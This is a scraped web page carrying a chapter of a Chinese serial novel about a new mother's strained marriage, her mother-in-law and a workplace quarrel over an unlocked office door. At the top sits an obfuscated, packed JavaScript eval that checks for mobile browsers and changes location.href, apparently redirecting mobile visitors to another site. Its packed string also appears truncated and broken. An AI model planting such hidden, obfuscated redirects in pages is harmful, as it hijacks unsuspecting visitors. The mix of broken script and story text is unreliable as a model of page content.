    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137816|180320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朵里掏出来好多白色的东西!”


    老太太说:“我带宝宝,没有时间掏耳朵。”


    我说:“你不要又赖到别人身上。很多人都忙,人家耳朵也没有流血。你就是耳朵发炎。”


    端午说:“医生让改天再去做个CT看看。”


    我说:“你妈那么惜命,宝宝拍个胸片你妈都害怕,这次她要做CT了。那不得把她吓坏了啊。”


    过了两天,老太太走路摔倒了。眼睛跌红了。


    我说:“妈呀,你眼睛怎么那么红的?”


    “我急着去买菜忙的!”她说。


    “眼睛不是小事儿,我带着孩子,你赶紧去挂水吧。”我说。


    “行。没事儿的。过几天就好了。”她说。


    “女的就是不容易。我妈妈说,‘四十八,把眼花。’我有的女同事四十七八岁眼睛就花了。”我说。


    她说:“我的眼睛没花!我是以前干保洁的时候被树枝戳的!”


    我说:“哦,怪不得你老是跌倒。耳朵发炎,眼睛又看不清,走路就失去平衡了。你在医院的时候不是也跌倒过一次吗?肯定是这么回事。”


    我抱着宝宝在广场上玩,认识了一个妹妹,她的孩子比我家宝宝大八天,叫朵朵。听说她买了围栏,我一直犹豫要不要买。


    “围栏肯定要买的,不然宝宝会跌下来!我早就给我家朵朵买围栏了。”朵朵妈妈说。


    “那你把你买的链接推荐给我,回头我就买跟你的一样的。”我说。


    她说:“好的!”


    我问她说:“围栏是怎么装到床上的?”


    朵朵妈妈笑着说:“就塞到床垫底下就行了。我老公还打了个钉子呢!”


    不久,围栏到货了,是一长箱子的零件,需要自己组装。我扛回家,等端午周末有空组装。


    周末了,我催端午组装围栏,他妈妈抱着孩子,也在旁边观看。


    端午拿来那些长的短的钢管试了试。


    “装不进去,扔了吧!”他说。


    “怎么能扔呢!我花了三百块钱买的呢!”我说。


    “装不上!”端午说。


    “怎么可能呢!人家朵朵家就买了这样的围栏,人家都装上了。朵朵爸爸装的。”我说。


    “真的装不上,套不进去。”端午说。


    “你一个大男人,还在厂里上班,天天跟材料打交道。怎么可能装不上。人家厂家设计的,肯定能装上啊。我来看看!”我拿过两截钢管试了试,其实,我知道自己动手能力很差,我也没有把握。我看了看,把两截钢管套了一下,是套不进去。


    “你看,装不进去吧。”端午说,“扔了吧。”


    “不可能,我再看看。”我又看了一下。发现一截钢管外面有小孔,另一截钢管外面有一个个鼓起的小疙瘩。我知道了。我把那些小疙瘩按下去,装进另一截钢管里,再一松手,“咔吧”!两截钢管套在一起了。


    “你看看,你居然想把它扔了。本来能干成的事儿,到你手里就干不成了。”我跟他说。


    我想我也不是坏人,我也不想老是说话打击他。可是,摆在眼前的事实如实说出,就成了打击人的话。如果外人听了还觉得受不了,实在不够委婉。可是他作为一个老是半途而废的当事人听了,那也就是实话而已。我看他那样子,他也没有什么受不了的,顶多就是不中听,说我瞎叽歪。因为不想干、干不好,轻而易举地放弃确实是他常干的事。他妈妈也是亲眼所见。她儿子干不成事儿,轻易就想放弃。


    我产后有六个月跟端午没有夫妻生活。我这人胆子很小,我觉得我刚生产完的子宫经不起折腾。而且,自从我怀孕以后,我跟端午就没有任何肢体接触了。这以后,我跟他两个人就像熟悉的陌生人一样。那是一种没有爱没有密切情感的的关系,那是一种让人失望寒心孤独的感觉,那是一种不太健康的关系。


    一个秋天的周五晚上,老太太照例回家去了。


    端午突然有事似的跟我说:“今天晚上早点睡。”


    我知道他话里的意思,但是我不太适应也不太习惯,我问他:“你不是那么长时间都没提吗?”


    他说:“你不是说你产后身体要修养吗?我就憋着呗。”


    我说:“你还是不太强烈。人家菜场那个卖菜的女的,年头生一个,年尾儿生一个,刚出月子人家就又怀上了。”


    端午说:“来来来!”


    我说:“你那语气就像喊一个男的去跟你打篮球似的!我听了你的话一点感觉都没有!我天天忙孩子,都没有心情了。宝宝都睡着了,别把她吵醒了。”


    端午说:“把宝宝放到她的小床上,我来抱过去。”


    我说:“不行,你一把她放下,她立马就会醒,会哭。”


    端午说:“我们快一点。”


    我说:“不行。就把宝宝放在这里。”


    端午说:“那好。我们声音小一点。”


    我们刚要开始,宝宝就醒了。小小的人儿隔着黑暗把目光看向我们。看到宝宝醒了,端午像个做了坏事的小男孩一样,“咿呀”一声趴下来,害羞地把头埋到我的肚子上,偷偷地看着宝宝,紧张又羞愧地笑着。那一刻,放佛我只是一个掩体,而不是他的准备行周公之礼的老婆。


    “不能让宝宝看见,对她以后的成长不好。”端午说。


    宝宝不知道爸爸妈妈在干什么,害怕地哭了。


    我说:“完了,宝宝以为爸爸妈妈在打架。”我赶紧慌里慌张地光着屁股起来去抱宝宝,端午也赶紧把我放了,呆呆地看着我去抱宝宝,像看着一个从日本兵那里挣脱的女人一样。我们的一次产后夫妻生活就这样慌里慌张地开始和结束了。


    端午是个清清爽爽的好男人,他心里嘴里从来没有说过什么过头的话,几个月的小婴儿竟然让他害羞地像个小男孩。这以后,或许是因为我们上班都忙,或许是因为有宝宝在,我们一连几个月都没有兴趣。端午都是自己老老实实地睡觉。我天天围着孩子团团转,天天很累很忙很烦。而且,自从生完孩子以后,出于对图腾的生殖崇拜和一个生完孩子的母亲的庄严,我对那事儿有点羞耻感了。


    这种羞耻感,估计端午心里也有。说到底,我们两个都不是很放纵私欲的人,都是很为孩子考虑的人。端午从来没有那些奸猾刁蛮,口蜜腹剑,但是那些腻腻歪歪纠纠缠缠有时候又是两口子所必需的。没了那些,两个人之间太干净了,感情也就淡而无味了。两个人身体上有了距离,心理上的距离也就随着拉开了。我不知道端午是什么样的想法。反正我对端午就是这样。所以我对他越来越失望,越来越厌烦。


    3 我跟杨编辑吵架了


    这一年的十月,我又想到了我的旧业,我未完成的关于荆堂的那些文字,我每次晚上值班的时候,就在办公室里想着,写着。越写越觉得有意思,越写越觉得有意义。我的文字就像秋天的菜种子,一个个伸着嫩红的芽孢,举着嫩白的小胳膊,从秋天的黄土地里破土而出。是的,我的心里有了我自己的一亩三分地。那是我的自留地,我就是这块地的主人,没有人来指手画脚颐指气使,没有人来指指点点吆三喝四,没有人需要我去点头哈腰强颜欢笑。


    在这块土地上,我是主人,不是孙子。这块地给了我新鲜的泥土的香气,让我在这充满权势味儿和铜臭味儿,口臭味儿和臭屁味儿的,庸俗的男男女女的世界里,可以有一方天地,让我自由呼吸。这块地我越种越着迷,它让我看透了很多,想通了很多,看淡了很多,它让我对人世间的任何锻炼和枷锁都不是那么在意和执着。我感谢我的这块自留地,是它的出现,让我救赎了我自己。否则,成日价面对枯燥的工作,苦恼的夫妻关系和苦闷的婆媳关系,我拿什么来活下去。


    我不知道我是不是产后抑郁了。有一阵子,我看到有关小孩子的不幸的新闻就哭。


    半夜,我刷完奶瓶,坐在马桶上,看着手机里的郑仁的新闻,无声地大哭!心痛!心痛!戳心!戳心!我把眼泪流给沉寂的夜,我把心酸流给惨死的小小鬼!


    白天,开会了,孙部长在台上讲地滔滔不绝,唾沫乱飞,我低头看着手机,看着被虐的小郑仁,眼泪止不住地流下来。


    “郑仁,小宝贝!孩子!快跑!”


    我坐不住,我的心魂在嘶叫:“我想回家,让我回家!我要回家看看我的宝宝!”


    郝跃临时有事出门,总是不爱带钥匙。等大家都下班回家了,她还在群里喊:“谁把门儿锁上了啊?我没带钥匙!曹编辑,你走了没有?”


    曹编辑回复说:“我正准备回家,在大门口儿呢。我把钥匙放在门卫。”


    “好的,谢谢曹编辑了。”


    阿杨在群里说:“大家下班以后都回家了,你下次记得把钥匙带上。”


    说实话,我很害怕郝跃这样的,我怕哪天,我都回家了,她又没带钥匙,像是冤魂一样追着我要钥匙,我还得黑天半夜地从家里跑过来给她开门。


    一天,我下班以后,发现办公室里已经没人了。可是,办公室里还亮着灯,我不知道还有没有人没有走,会不会有人在我走了以后又跳出来要钥匙,我就没有锁门儿。


    第二天早上,我切了胡萝卜、青菜,给宝宝拌了几勺米粉,老太太喂给宝宝吃。


    宝宝吃饭的时候不老实,老太太说:“狐狸精来了!狐狸精来了!你看!做怪梦的!”


    我说:“她一个小女孩儿,你不要说她狐狸精!狐狸精的!你眼睛小,你才像狐狸!端午也像个狐狸!我们眼睛那么大,我们怎么是狐狸了!陆陆不上班,在家里做隐蔽青年,你牙缝儿里没说过他一句坏话。你还吹牛,说有四个女人等他。你对你自己亲生的可会说了。宝宝这么小,你动不动坏词儿多的!”


    她立马矢口否认说:“我没说她狐狸精,我说的胡萝卜!”


    “你刚才就是说的‘狐狸精’!你说过的话反口就不承认!”我说。


    “哎呀!宝宝拉屎了!臭臭的,我闻到了。幸好妈妈在!”我说。


    “我来擦,你赶紧去打水!”我跟老太太说。


    我抱着宝宝,老太太打了温水,我来帮宝宝擦屁股。


    忙完孩子,我匆匆忙忙到了办公室。我站着收拾桌上的文稿,准备开始一天的工作。


    阿杨进来了,她看到我,没好气地跟我说:“你昨天走的时候没锁门啊?”


    我说:“我看办公室的灯还亮着,我怕还有人没走,就没有锁门儿。”


    阿杨编瓮声瓮气地说:“怎么能不锁门儿的?不锁门儿你在群里说一下啊!曹编辑的两万块钱还在抽屉里呢!”


    我说:“我不知道。”


    她气恼地说:“不锁门儿,要是曹编辑的钱被人偷走了,怎么办?”


    曹编辑听到了杨编辑的话,像是真地丢了两万块钱一样,沉着脸,闷声不吭地走出去了。


    倒不是我不想承认自己的错误,是我看阿杨憋了一肚子的火冲我来了,本就来者不善。而且,毕竟没有丢东西。毕竟没有发生什么事儿。


    我知道我跟她打内心里就不对付,她是憋足了火力对我来的。我在家里忙孩子忙地也是心情不好。我到了单位只想赶紧忙工作,根本无心跟她争执。她说我两句我也就认了。可是她抓住我不放。我的性格也是吃软不吃硬的。我硬气起来,也是丝毫不服气。


    我说:“我不知道啊?谁知道那时候还有没有人啊?”


    阿杨还是死死地咬住我不放。


    她火气十足地问我:“你不能在群里问一下啊?”


    我说:“我就是问了,也可能有人一时看不到信息啊。所以我没敢锁门儿啊。”


    阿杨火儿起来了,她愤怒地说:“曹编辑抽屉里放着两万块钱呢!”


    我说:“我哪知道!平时办公室里也没什么贵重的东西。”


    阿杨火气更大了,她说:“曹编辑的两万块钱要是丢了,怎么办?”


    我说:“我不知道啊。他就是抽屉里放着摇钱树我也不知道!”


    阿杨看我跟她顶了起来,更加放开她的火箭,朝着我嘶吼着她的中气不足、有些嘶哑的嗓子说:“你不锁门儿,你还有理了?你不锁门儿你还有理了?说说你还不行了?”


    我也放大声音中气十足地说:“我不是不知道吗?不是没丢东西吗?你怎么那么大的火的?你是不是又没睡好觉,又要把起床气都撒到我身上了?我一大早又要忙孩子又想忙工作,我想跟你吵吗?如果换作别人,你还会这么火吗?你不就是看我不顺眼吗?我不是一直跟孙子似的受你的压制吗?要杀要剐随你的便!”


    孙部长从我们办公室前头路过,他应该听到了一点声音,不过,他没有过来看。


    其实,那一刻,我已经快绷不住了。再往下吵,我就会把杨编辑欺负我,不想让我上班的委屈全都哭着倒出来。


    杨编辑看见了孙部长,她也意识到在更高级别的领导跟前吵架,对她的个人形象不利。她的火气立刻消了。我也跟着立刻消了。


    郝跃进来了,她看到我在气呼呼地跟杨编辑吵架。我的嗓门儿居然还那么大!钱编辑也进来了。她看到我胆敢跟杨编辑吵架!


    “走!上厕所去!”阿杨说,她气呼呼地走了出去。她们都气呼呼地走了出去。只剩我一个人在办公室里。


    我的眼泪一下子冲了出来。我无声地哭着。我哭不是因为我没有锁门儿,人家说我。我哭,是因为,就是因为我没有锁门儿,她才会这样变本加厉地说我。明明是她步步紧逼,我退无可退,才跟她吵的,可是那些人,全都向着她,全都恨我冒犯了凤威,全都说我的不对。


    我的眼泪掉成了一行行线,我擦眼泪的纸巾叠成了一堆。我想着我的乳儿,哭地更加伤心了。


    曹编辑进来了,他的座位在我身后,隔着钱编辑一个座位,我听见他稀里哗啦地在拿什么文件的声音,他拿了一打什么文件,又气呼呼地出去了。我知道我不能这样哭下去。我还要工作。


    我拿起杯子去东边的走廊接水。我接好水以后向西往办公室里走去。


    钱编辑从我对面走了过来,她靠着栏杆,用班主任处理问题学生一样的神情歪着头质问我说:“你怎么跟杨编辑吵架的?”


    我说:“我哪里想跟她吵架?是她没完没了,抓住我不放!是她一直欺负我,我都被她压制死了!”


    钱编辑没有想到我这么直接,这么不委婉,这么不配合她的节奏,这么不识抬举,居然在她跟前也不肯低头。居然一语道破了事情的本质。


    是的,她质问我为什么跟杨编辑吵架。是的,我不该跟杨编辑吵架,我怎么有胆跟杨编辑吵架?我跟杨编辑吵架本身就是罪该万死的。杨编辑再怎么冲我发她的因为更年期的,因为小肚鸡肠太多,而常常睡不好觉的无明业火,我都得乖乖地听着,忍着,受着。这就是规矩!这就是职场潜规则!下级低级低等员工,胆敢跟上级高等上等领导对着吵架,这本身就是大逆不道罪无可赦。说什么平等!我们什么时候平等过?


    我就是知道我们不平等啊,我从一开始就知道我们不平等啊。所以我那么恭敬那么小心翼翼地尊称杨编辑为杨老师啊。可是她又要卖弄她的高品格,又要卖弄她的矫揉造作和永远年轻,她非用她的淫威逼迫着我叫她阿杨!搞得我跟她是同辈很平等一样!我早就知道我跟她不平等,这个阿杨我喊不起啊!她始终高高在上,我始终低低在下。我不仅低低在下,我还得配合她的矫情死的矫情来貌似很平等的叫她阿杨。既然是平等的,为什么我不能反驳,既然是平等的,为什么只能她跟我发火,我不能跟她发火?平等是建立在她骄横地凌虐我,我卑微地忍受她的基础之上的吗?原来我们是不平等的啊?那她干嘛让我叫她阿杨?我早就应该称呼她为杨太后的!


    钱编辑愣了一下说:“我们在平时的工作中,不都是忍气吞声的嘛?领导对我们不都是这样的吗?”


    我说:“她对你这样吗?如果是你没有锁门儿,她会这样吗?她就会欺负我们这些没资格的。”


    钱编辑听了我的话,反而没词儿了。她抬了抬她那张粉白的脸,眨巴了几下眼睛。


    “她毕竟是领导。你这样当众跟她吵,影响很不好的。”她说。


    我说:“我想跟她吵吗?我忙孩子忙地一塌糊涂,刚从家里赶过来。我还要忙工作,我哪有功夫跟她吵。是她上来就对我发火的。我不知道是不是她昨天又没有睡好觉,她逮住机会把火气朝我身上撒。”


    钱编辑听了我的话又眨了眨眼睛。


    我说:“钱编辑,你怎么老是眨眼睛的?”


    她说:“我眼睛散光,不敢见阳光,一遇到阳光就刺眼。”


    我说:“那得配个眼镜了。”


    她说:“我配了抗紫外线的眼镜,花了一千多块呢。”


    我说:“怪不得我看你的眼镜里有蓝光呢。原来你这是高级眼镜啊。”


    钱编辑说:“其实,都是因为郝跃经常不带钥匙,大家都害怕了。所以不敢锁门儿。”


    我说:“是的啊,我真害怕我锁门以后,她又追着我让我回来给她开门儿。我半夜三更地又得忙孩子,又得跑过来给她开门儿。”


    钱编辑说:“我看得出来,你这个人蛮正直的。但是正直的人往往让人觉得很讨厌。”她说着笑了。


    我也笑了,我说:“你说的很对。正直的人是很讨厌。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)